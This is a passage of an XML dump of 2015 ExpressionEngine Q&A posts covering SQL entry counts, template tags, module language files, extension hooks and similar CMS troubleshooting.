  <row Id="28479" PostTypeId="2" ParentId="28476" CreationDate="2015-01-15T16:19:30.810" Score="4" Body="&lt;p&gt;In the control panel go to &#xA;&lt;em&gt;Admin  ›  Utilities  ›  SQL Manager  ›  Database Query Form&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the query form put&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT COUNT(*) FROM exp_weblog_titles;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give you the total number of entries on your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would like to know the number of entries in a specific &lt;em&gt;Weblog&lt;/em&gt; you can do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT COUNT(*) FROM exp_weblog_titles&#xA;WHERE weblog_id = X;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just replace &quot;X&quot; with the weblog_id of the Weblog you are interested in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative to running MySQL queries in the control panel is to use an application like &lt;a href=&quot;http://www.sequelpro.com/&quot; rel=&quot;nofollow&quot;&gt;Sequel Pro&lt;/a&gt; or &lt;a href=&quot;http://www.navicat.com/products/navicat-for-mysql&quot; rel=&quot;nofollow&quot;&gt;Navicat&lt;/a&gt; to browse your database and/or run these queries.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;NOTE for EE v2.x users: alter the SQL by replacing &quot;weblog&quot; with &quot;channel.&quot;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-01-15T16:19:30.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28481" PostTypeId="1" AcceptedAnswerId="30808" CreationDate="2015-01-15T17:49:12.320" Score="0" ViewCount="481" Body="&lt;p&gt;Not sure really what type of issue this is, but I figure I'll ask here. I have a site that's running live on the server right now which has the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: unserialize(): Error at offset 0 of 326 bytes&#xA;Filename: drivers/Cache_file.php&#xA;Line Number: 74&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This error does not happen locally, only live. The only difference I can see is that on the live server the templates are synched, whereas locally they are not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running EE v 2.8.1, php 5.5.9. Permissions on my cache directory are 777.&lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2015-04-07T14:55:49.213" Title="Unserialize Error in drivers/cache" Tags="|error|php-errors|cache|caching|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28482" PostTypeId="1" CreationDate="2015-01-15T17:55:16.270" Score="1" ViewCount="114" Body="&lt;p&gt;I have started integrating an EE cms into Magento using the following tutorial: &lt;a href=&quot;http://www.magentocommerce.com/knowledge-base/entry/tutorial-integrating-3rd-party-cms-content-within-magento&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.magentocommerce.com/knowledge-base/entry/tutorial-integrating-3rd-party-cms-content-within-magento&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like there's EE content populating in Magento, however, it's outputting a ton of special characters. I attached a screenshot of the content area. Any idea what the issue is?&lt;img src=&quot;https://i.stack.imgur.com/fvy0U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2889" LastActivityDate="2015-01-15T17:55:16.270" Title="Magento/ExpressionEngine Integration - getting special characters" Tags="|integration|magento|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28483" PostTypeId="2" ParentId="28475" CreationDate="2015-01-15T20:04:38.290" Score="1" Body="&lt;p&gt;I haven't tested this, but I would guess that the File Upload field tag pair can be used the same way within a multi-page form as it can be used within a Freeform Entries loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:mp_data:my_multiple_upload_field}&#xA;    {freeform:fileurl}&#xA;    {freeform:server_path}&#xA;    {freeform:filename}&#xA;    {freeform:extension}&#xA;    {freeform:filesize}&#xA;{/freeform:mp_data:my_multiple_upload_field}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;http://www.solspace.com/docs/freeform/default_fieldtypes/#file_upload&quot; rel=&quot;nofollow&quot;&gt;Docs.&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-01-15T20:04:38.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28484" PostTypeId="2" ParentId="19341" CreationDate="2015-01-15T20:15:40.843" Score="0" Body="&lt;p&gt;You can use datepicker = &quot;no&quot; in your exp:channel:form tag and add a jquery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#start_date').datepicker({changeYear: true, changeMonth: true, yearRange:'today.getFullYear():2020',dateFormat:'dd-mm-yy'}); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3779" LastEditorUserId="55" LastEditDate="2015-01-15T23:09:18.917" LastActivityDate="2015-01-15T23:09:18.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28485" PostTypeId="2" ParentId="28456" CreationDate="2015-01-15T20:15:57.370" Score="1" Body="&lt;p&gt;Currently we can not do this in forms. You could do it with Javascript though, since you have the ID. Just call some javascript afterwards and add the data attributes. I know it is a pain, but it would work for now.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-01-15T20:15:57.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28486" PostTypeId="2" ParentId="28481" CreationDate="2015-01-15T21:45:32.807" Score="0" Body="&lt;p&gt;I would try clearing the cache from within the control pannel&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2015-01-15T21:45:32.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28487" PostTypeId="2" ParentId="28463" CreationDate="2015-01-15T22:00:45.850" Score="0" Body="&lt;p&gt;Make sure that your error page is an actual template. Also I believe you have to have freeform pro to use this feature ( &lt;a href=&quot;http://www.solspace.com/docs/freeform/error_page/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/error_page/&lt;/a&gt; )&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2015-01-15T22:00:45.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28489" PostTypeId="2" ParentId="28467" CreationDate="2015-01-15T22:51:14.910" Score="2" Body="&lt;p&gt;In the Members &gt; Preferences &gt; Require Member Account Activation? field it sounds like you have selected Self-activation via email which will set all new members to Pending until they have activated their account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This prevents fake email addresses from being able to access member specific areas before the activation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either set the field to No activation required which will put people in the proper group or need to send out the activation email.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-01-15T22:51:14.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28490" PostTypeId="1" CreationDate="2015-01-15T23:52:35.417" Score="0" ViewCount="487" Body="&lt;p&gt;What could cause commenting to suddenly not work for a particular channel if no changes to the configuration has been made? The person trying to comment gets the message &quot;You are not authorized to perform this action&quot;. The EE version is 2.9.0 and there's been no upgrade between now and the last successful comment.&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2015-02-19T18:16:31.107" Title="Issue with comments - &quot;You are not authorized to perform this action&quot;" Tags="|comments|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28491" PostTypeId="1" AcceptedAnswerId="28492" CreationDate="2015-01-16T03:04:33.133" Score="1" ViewCount="30" Body="&lt;p&gt;I've just inherited a site that uses ExpressionEngine and CodeIgniter.  I'm very excited about it, but I've immediately found myself at a standstill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to place a tracking script in the footer.  In the index file(and on all other pages), a call is made at the end to &lt;code&gt;{footer}&lt;/code&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have access to the CMS side of EE, so I'm just deep inside the cPanel looking through the template PHP files.   Where do I find the declaration?&lt;/p&gt;&#xA;" OwnerUserId="4945" LastActivityDate="2015-01-16T05:25:20.777" Title="What file contains my template definition?" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28492" PostTypeId="2" ParentId="28491" CreationDate="2015-01-16T05:25:20.777" Score="1" Body="&lt;p&gt;If I understand you correctly, it is very possible that &lt;code&gt;{footer}&lt;/code&gt; is global variable or snippet which is not saved into files by default EE methods. So very possible you can find it in DB only (tables _snippets &amp;amp; _global_variables).&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2015-01-16T05:25:20.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28493" PostTypeId="2" ParentId="28490" CreationDate="2015-01-16T08:32:12.267" Score="1" Body="&lt;p&gt;If you are developing locally (e.g. using the “localhost” domain) you may get this security error on comments submission. To test commenting during local development, try to set &quot;Require IP Address and User Agent for Posting&quot; to &quot;No&quot; in Admin -&gt; Security and Privacy -&gt; Security and Sessions.&lt;/p&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2015-01-16T08:32:12.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28494" PostTypeId="1" AcceptedAnswerId="28517" CreationDate="2015-01-16T11:33:53.717" Score="2" ViewCount="62" Body="&lt;p&gt;I'm building a store for a client that will be selling regular products alongside alcoholic products. They want to limit the shipping countries available if the cart has alcoholic products added. Is this possible in expresso store out of the box? Looking for the best way to go about it.&lt;/p&gt;&#xA;" OwnerUserId="302" LastActivityDate="2015-01-18T18:43:55.590" Title="Limit Shipping options based on products in cart" Tags="|expresso-store|expresso|shipping|shopping-cart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28497" PostTypeId="1" CreationDate="2015-01-16T14:09:18.910" Score="0" ViewCount="29" Body="&lt;p&gt;Does any one know of a custom query to extract when a page was deleted in Expression engine 1.x. We have a couple pages that just disappeared and the higher ups wants answers. Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2700" LastActivityDate="2016-05-21T18:00:59.907" Title="Expression Engine 1.x Page deletion db query" Tags="|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28498" PostTypeId="1" AcceptedAnswerId="28501" CreationDate="2015-01-16T14:56:52.993" Score="0" ViewCount="44" Body="&lt;p&gt;In my custom module I want to display a series of error messages for X, Y &amp;amp; Z. I have a single tag in the mod.[module_name].php file and I want to throw out an error if no id has been provided.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !ee()-&amp;gt;TMPL-&amp;gt;fetch_param('contact_id') ) {&#xA;    ee()-&amp;gt;output-&amp;gt;fatal_error(lang('missing_contact_id'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now when I add the tag without the id the message appears but with the text 'missing_contact_id' rather than what is defined in my $lang language file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to output this on the front end?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth noting that all my language strings are displaying correctly from the various functions in the mcp.[module_name].php file and the views that I have set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2015-01-16T15:40:30.433" Title="Is it possible to use $lang variable in fatal_error output on front end?" Tags="|add-on-development|module|language|custom-system-messages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28499" PostTypeId="1" CreationDate="2015-01-16T15:03:03.220" Score="2" ViewCount="105" Body="&lt;p&gt;I am using matrix to pull instagram photos using the pic puller plugin. Sometimes, the picture is not available. I am able to skip these by using an if conditional in the pic puller loop. however an empty matrix row is still parsed and shown on the final template. I am not sure how to just show the rows with instagram content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;mychannel&quot; status=&quot;open&quot; }&#xA;    {matrix_field} &#xA;&#xA;        {exp:ig_picpuller:media user_id=&quot;1&quot; media_id=&quot;{media_id}&quot; use_stale_cache=&quot;yes&quot;}&#xA;        {if ig_status == &quot;true&quot;}&#xA;            {ig_standard_resolution}&#xA;        {/if}&#xA;        {/exp:ig_picpuller:media}&#xA;&#xA;    {/matrix_field}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I considered using the ig_status tag as a search parameter in matrix, but didn't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;mychannel&quot; status=&quot;open&quot; }&#xA;    {exp:ig_picpuller:media user_id=&quot;1&quot; media_id=&quot;{media_id}&quot; use_stale_cache=&quot;yes&quot;}&#xA;&#xA;        {matrix_field search:{ig_status}=&quot;true&quot;} &#xA;                {ig_standard_resolution}&#xA;        {/matrix_field}&#xA;&#xA;    {/exp:ig_picpuller:media}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas how i can skip the rows without any pictures from being parsed?&lt;/p&gt;&#xA;" OwnerUserId="4927" LastActivityDate="2016-05-27T20:03:33.053" Title="Selective parsing of matrix rows" Tags="|matrix|pixelandtonic|" AnswerCount="1" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="28500" PostTypeId="1" AcceptedAnswerId="28539" CreationDate="2015-01-16T15:31:56.787" Score="1" ViewCount="98" Body="&lt;p&gt;Having a strange issue where I am inserting google / facebook tracking snippets into a textarea custom field (formatting: none). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one of the snippets of code an image has style=&quot;display:none&quot;, if I change to display:inline or anything else, it doesnt break. Only if set to display:none??&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img height=&quot;1&quot; width=&quot;1&quot; alt=&quot;&quot; style=&quot;display:none&quot; src=&quot;https://www.facebook.com/tr?ev=XXXXXXXXXX&amp;amp;amp;cd[value]=0.00&amp;amp;amp;cd[currency]=GBP&amp;amp;amp;noscript=1&quot; /&amp;gt;&amp;lt;/noscript&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2cycA.png&quot; alt=&quot;Not Allowed error&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="541" LastActivityDate="2015-02-19T00:16:34.183" Title="style=&quot;display:none&quot; breaks publish page when saving Error: &quot;Not Allowed&quot;" Tags="|error|custom-fields|publish-layout|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28501" PostTypeId="2" ParentId="28498" CreationDate="2015-01-16T15:40:30.433" Score="0" Body="&lt;p&gt;Just found an answer over at ExpressionEngine &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extensions.html#9460&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case the link dies here is what is posted:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;If you want to display language messages in from end templates (for&#xA;  instance, in error messages) you must explicitly load the language&#xA;  file. Without loading it, the CP will render the language items just&#xA;  fine, but the front-end will not. So, in the hook function or&#xA;  constructor, load your language file like so:&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// if your lang file is named example_lang.php&#xA;public function __construct($settings = '') {&#xA;    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    $this-&amp;gt;settings = $settings;&#xA;    $this-&amp;gt;EE-&amp;gt;lang-&amp;gt;loadfile('example');&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;or if you have a function for instance:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cartthrob_pre_process() {&#xA;    $this-&amp;gt;EE-&amp;gt;lang-&amp;gt;loadfile('example');&#xA;    $this-&amp;gt;EE-&amp;gt;output-&amp;gt;show_user_error('general', lang('minimum_not_met') );&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just a quick note, mine was called lang.module_name.php so I just used &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ee()-&amp;gt;lang-&amp;gt;loadfile('module_name')&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2015-01-16T15:40:30.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28502" PostTypeId="2" ParentId="28499" CreationDate="2015-01-16T18:57:31.740" Score="0" Body="&lt;p&gt;Assuming ig_status is a column in the Matrix field, you don't want the curlies in the search:col_name=&quot;&quot; parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;mychannel&quot; status=&quot;open&quot; }&#xA;{exp:ig_picpuller:media user_id=&quot;1&quot; media_id=&quot;{media_id}&quot; use_stale_cache=&quot;yes&quot;}&#xA;&#xA;    {matrix_field search:ig_status=&quot;true&quot;} &#xA;            {ig_standard_resolution}&#xA;    {/matrix_field}&#xA;&#xA;{/exp:ig_picpuller:media}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2015-01-16T18:57:31.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28503" PostTypeId="2" ParentId="24253" CreationDate="2015-01-16T19:08:05.503" Score="1" Body="&lt;p&gt;My understanding is, basically, no but it should not matter too much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;strong&gt;can&lt;/strong&gt; remove/uninstall the Members module but it does not actually remove most of the member related tables and it doesn't control most of the queries which are sprinkled throughout core code and do not appear to be controlled by any global setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also cannot disable sessions in EE, which is what most of what you are seeing is actually setting up. Even if there were a way to disable sessions, likely many add-ons would fail to work because many, many extensions hook into the sessions_start or sessions_end &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/session/index.html&quot; rel=&quot;nofollow&quot;&gt;hooks&lt;/a&gt; and use them to do things completely unrelated to sessions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I doubt that the performance penalty for these queries is very high -- in all likelihood if there are no members in the system then there is very little or no data to be returned by all of the Member related queries.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2015-01-16T19:08:05.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28504" PostTypeId="1" CreationDate="2015-01-16T19:20:33.093" Score="0" ViewCount="157" Body="&lt;p&gt;I have a list that builds based on the URL segment. Sometimes there no entries for the segment and need to display &quot;no results&quot;. I have tried several varations on this and nothing seems to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions are greatly appriciated, thanks for looking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to take this another direction and am tying to use {if no_parents} … {/if} variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However written like this it only shows up when there are results not when there is no results.&#xA;Here is what my code looks like now&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;   channel=&quot;my_child_channel&quot;&#xA;   orderby=&quot;data_contact_last_name&quot;&#xA;   sort=&quot;asc&quot; &#xA;   limit=&quot;3&quot;&#xA;   }&#xA;&#xA;     {exp:playa:parents &#xA;     channel=&quot;mychannel&quot; &#xA;     field=&quot;my_field&quot;&#xA;     var_prefix=&quot;my_var&quot;&#xA;     }&#xA;&#xA;&#xA;        {if no_parents} no parent content {/if} &#xA;&#xA;        &amp;lt;!-- label --&amp;gt;  &#xA;        {if count == '1'} &#xA;         &amp;lt;h4 class=&quot;f400m&quot;&amp;gt;&amp;lt;strong&amp;gt;{child:title}&amp;lt;/strong&amp;gt;&amp;lt;/h4&amp;gt;  &amp;lt;!-- The title--&amp;gt;&#xA;        {/if}&#xA;&#xA;            &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{my_var:url_title}&quot;&amp;gt;{my_var:title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;&#xA;   {/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Earlier I tried this and what Jason suggested i also could not get to work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;   channel=&quot;my_channel&quot; &#xA;   limit=&quot;3&quot;&#xA;   }&#xA;&#xA;   {exp:playa:parents &#xA;      channel=&quot;my_parent_channel&quot; &#xA;      field=&quot;field_choice&quot; &#xA;      require_entry=&quot;yes&quot;}&#xA;&#xA;{if no_results}  &amp;lt;p&amp;gt;There are no entries available.&amp;lt;/p&amp;gt;  {/if}&#xA;&#xA;     {if count == '1'} &#xA;         &amp;lt;h4&amp;gt;{child:title}&amp;lt;/h4&amp;gt;&#xA;      {/if}&#xA;&#xA;       &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;&#xA; {/exp:playa:parents}&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="3047" LastEditDate="2015-01-23T18:12:01.363" LastActivityDate="2015-01-23T18:12:01.363" Title="no_parents/no_results Using playa entry results based on a url segment, want to display no results" Tags="|templates|playa|conditionals|no-results|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28505" PostTypeId="1" CreationDate="2015-01-16T20:21:51.923" Score="0" ViewCount="48" Body="&lt;p&gt;In eight years of building EE sites I have never encountered this problem before. I am building a photo section on my site that lists photos by category. Only as a category has content does the name of the category display &lt;a href=&quot;http://rouviere.com/photo/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code that displays the category lists:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;browse-categories col-sm-6 col-md-3&quot;&amp;gt;&#xA;{exp:gwcode_categories cat_id=&quot;4&quot; show_empty=&quot;no&quot;}&amp;lt;!-- China --&amp;gt;&#xA;&amp;lt;a href=&quot;{site_url}photo/category/{cat_url_title}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;{/exp:gwcode_categories}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;browse-categories  col-sm-6 col-md-3&quot;&amp;gt;&#xA;{exp:gwcode_categories cat_id=&quot;115&quot; show_empty=&quot;no&quot;}&amp;lt;!-- Nature --&amp;gt;&#xA;&amp;lt;a href=&quot;{site_url}photo/category/{cat_url_title}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;{/exp:gwcode_categories}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;browse-categories  col-sm-6 col-md-3&quot;&amp;gt;&#xA;{exp:gwcode_categories cat_id=&quot;14&quot; show_empty=&quot;no&quot;}&amp;lt;!-- U.S. --&amp;gt;&#xA;&amp;lt;a href=&quot;{site_url}photo/category/{cat_url_title}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;{/exp:gwcode_categories}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;browse-categories  col-sm-6 col-md-3&quot;&amp;gt;&#xA;{exp:gwcode_categories cat_id=&quot;83&quot; show_empty=&quot;no&quot;}&amp;lt;!-- Historic sites --&amp;gt;&#xA;&amp;lt;a href=&quot;{site_url}photo/category/{cat_url_title}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;{/exp:gwcode_categories}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the &lt;a href=&quot;http://rouviere.com/photo/category/calif&quot; rel=&quot;nofollow&quot;&gt;next page&lt;/a&gt; that displays the photo thumbnails, this works fine for all categories unless I spell out &lt;strong&gt;California&lt;/strong&gt;. I currently have the category_url_title for this page truncated to calif because if I spell out california for the Category name no content will show on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code for displaying the photo thumbnails:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:category_id category_group=&quot;2&quot; category_url_title=&quot;{segment_3}&quot; parse=&quot;inward&quot;}&#xA;{exp:channel:entries channel=&quot;photos&quot; limit=&quot;20&quot; category=&quot;{category_id}&quot;  disable=&quot;trackbacks&quot; pagination=&quot;bottom&quot;}&#xA;&amp;lt;div class=&quot;photo_thumb&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;{site_url}photo/image/{url_title}/{segment_3}&quot;&amp;gt;&#xA;&amp;lt;img class=&quot;preview {if photo_orientation == 'vert'} vert{/if}&quot; src=&quot;/resources/stock/{photo_name}-tn.jpg&quot; data-fullimg=&quot;/resources/stock/{photo_name}-preview.jpg&quot; data-caption=&quot;{exp:char_limit total=&quot;40&quot;}{photo_caption}{/exp:char_limit}&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end photo_thumb --&amp;gt;&#xA;&#xA;{paginate}&#xA;{if &quot;{total_pages}&quot; != 1}&#xA;&amp;lt;p id=&quot;pages&quot;&amp;gt;Page {current_page} of {total_pages}  {pagination_links}&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;{/paginate}&#xA;{/exp:channel:entries}&#xA;{/exp:category_id}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All other category names work fine. I have names from across the globe and they work without a problem. I tried the following for the category_url_title:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;calif&#xA;californi&#xA;californiaa&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They all work. Any ideas why California spelled out will not work? &lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2015-01-16T20:21:51.923" Title="Why is the content showing for all categories except the one named California?" Tags="|categories|gwcode-categories|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28506" PostTypeId="1" CreationDate="2015-01-16T20:59:58.303" Score="0" ViewCount="225" Body="&lt;p&gt;I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:my-field-name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to display my file upload form in Channel Forms to allow the user to upload a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to change the filename and append their user ID to it but can't figure out how...the EE documentation doesn't provide any clues either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="3909" LastActivityDate="2015-02-17T00:39:00.903" Title="Rename file upload from Channel Form" Tags="|safecracker|file-uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28507" PostTypeId="1" AcceptedAnswerId="28508" CreationDate="2015-01-16T22:10:03.747" Score="1" ViewCount="49" Body="&lt;p&gt;I’m creating an ExpressionEngine extension. I want to get the IDs of any records that are deleted. I’m aware of the &lt;code&gt;delete_entries_end()&lt;/code&gt; and &lt;code&gt;delete_entries_loop()&lt;/code&gt; hooks, but they both return &lt;code&gt;void&lt;/code&gt; which isn’t much use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible out of the box with ExpressionEngine? I wanted to steer away from editing core files to make any future core upgrades seamless.&lt;/p&gt;&#xA;" OwnerUserId="4930" LastActivityDate="2015-01-16T22:33:05.277" Title="Get IDs of deleted entries" Tags="|add-on-development|extension|hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28508" PostTypeId="2" ParentId="28507" CreationDate="2015-01-16T22:33:05.277" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/index.html#delete-entries-loop&quot; rel=&quot;nofollow&quot;&gt;delete_entries_loop&lt;/a&gt; passes two arguments: &lt;code&gt;$val&lt;/code&gt; (which is the &lt;code&gt;entry_id&lt;/code&gt; of the entry which has just been deleted) and &lt;code&gt;$channel_id&lt;/code&gt;. So, your &lt;code&gt;entry_id&lt;/code&gt; is there for the taking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you want to get this data &lt;em&gt;before&lt;/em&gt; each entry is deleted, then you are out of luck, as the hook is triggered right &lt;em&gt;after&lt;/em&gt; each entry is deleted.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-01-16T22:33:05.277" CommentCount="3" ContentLicense="CC 